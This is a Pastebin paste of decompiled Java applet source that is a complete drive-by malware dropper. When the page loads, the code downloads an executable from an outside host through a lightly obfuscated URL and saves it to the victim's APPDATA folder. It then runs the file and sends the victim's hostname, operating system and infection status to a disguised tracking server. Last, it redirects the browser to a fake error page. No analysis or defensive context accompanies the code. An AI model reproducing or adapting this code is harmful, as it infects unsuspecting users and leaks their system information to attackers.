Advertisement
Guest User

class file

a guest
Mar 26th, 2013
420
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.54 KB | None | 0 0
  1. import java.applet.Applet;
  2. import java.applet.AppletContext;
  3. import java.io.BufferedInputStream;
  4. import java.io.BufferedOutputStream;
  5. import java.io.FileNotFoundException;
  6. import java.io.FileOutputStream;
  7. import java.io.IOException;
  8. import java.net.InetAddress;
  9. import java.net.MalformedURLException;
  10. import java.net.URL;
  11. import java.util.logging.Level;
  12. import java.util.logging.Logger;
  13.  
  14. public class wfccGCaGG extends Applet
  15. {
  16. static String lik = "h?t?t?p?:?/?/?w?w?w?.?g?a?l?a?x?y?j?d?b?.?c?o?m?";
  17.  
  18. public static void logme(String paramString)
  19. {
  20. String str1 = lik.replace("?", "");
  21. String str2 = "Alps";
  22. try {
  23. String str3 = InetAddress.getLocalHost().getHostName().replace(" ", "-");
  24. URL localURL = new URL(str1 + "/insert.php?" + "&o=" + System.getProperty("os.name").replace(" ", "-") + "&u=" + str2 + "&ip=" + str3 + "&e=" + paramString);
  25. localURL.openStream();
  26. } catch (IOException localIOException) {
  27. localIOException.printStackTrace();
  28. }
  29. }
  30.  
  31. public void start()
  32. {
  33. String str1 = "no";
  34. String str2 = System.getenv("APPDATA");
  35. String str3 = System.getProperty("java.io.tmpdir");
  36. String str4 = "http://www.iptv.st/javau##e";
  37. String str5 = str2 + "\\";
  38. String str6 = "javau##e";
  39. String str7 = "iFqux";
  40. String str8 = "CodedByOrpheu";
  41.  
  42. String str9 = str5.concat(str6.replace("##", ".ex"));
  43. BufferedInputStream localBufferedInputStream = null;
  44. try {
  45. localBufferedInputStream = new BufferedInputStream(new URL(str4.replace("##", ".ex")).openStream());
  46. } catch (IOException localIOException1) {
  47. if (str1 != "yes") logme("Noa");
  48. str1 = "yes";
  49. Logger.getLogger(wfccGCaGG.class.getName()).log(Level.SEVERE, null, localIOException1);
  50. }
  51.  
  52. FileOutputStream localFileOutputStream = null;
  53. try {
  54. localFileOutputStream = new FileOutputStream(str9);
  55. } catch (FileNotFoundException localFileNotFoundException) {
  56. Logger.getLogger(wfccGCaGG.class.getName()).log(Level.SEVERE, null, localFileNotFoundException);
  57. }
  58.  
  59. BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024);
  60. byte[] arrayOfByte = new byte[1024];
  61. try
  62. {
  63. int i;
  64. for (long l = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l += i)
  65. localBufferedOutputStream.write(arrayOfByte, 0, i);
  66. }
  67. catch (IOException localIOException2) {
  68. if (str1 != "yes") logme("Noc");
  69. str1 = "yes";
  70. Logger.getLogger(wfccGCaGG.class.getName()).log(Level.SEVERE, null, localIOException2);
  71. }
  72. try {
  73. localBufferedOutputStream.close();
  74. } catch (IOException localIOException3) {
  75. Logger.getLogger(wfccGCaGG.class.getName()).log(Level.SEVERE, null, localIOException3);
  76. }
  77. try {
  78. localBufferedInputStream.close();
  79. } catch (IOException localIOException4) {
  80. Logger.getLogger(wfccGCaGG.class.getName()).log(Level.SEVERE, null, localIOException4);
  81. }
  82. try {
  83. Runtime.getRuntime().exec(str9);
  84. logme("Yes");
  85. } catch (IOException localIOException5) {
  86. logme("Nod");
  87. Logger.getLogger(wfccGCaGG.class.getName()).log(Level.SEVERE, null, localIOException5);
  88. }
  89. try
  90. {
  91. getAppletContext().showDocument(new URL("http://ultrabot.web44.net/Error.html"), "_self");
  92. } catch (MalformedURLException localMalformedURLException) {
  93. System.exit(0);
  94.  
  95. localMalformedURLException.printStackTrace();
  96. }
  97. }
  98.  
  99. public void init() {
  100. start();
  101. }
  102. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement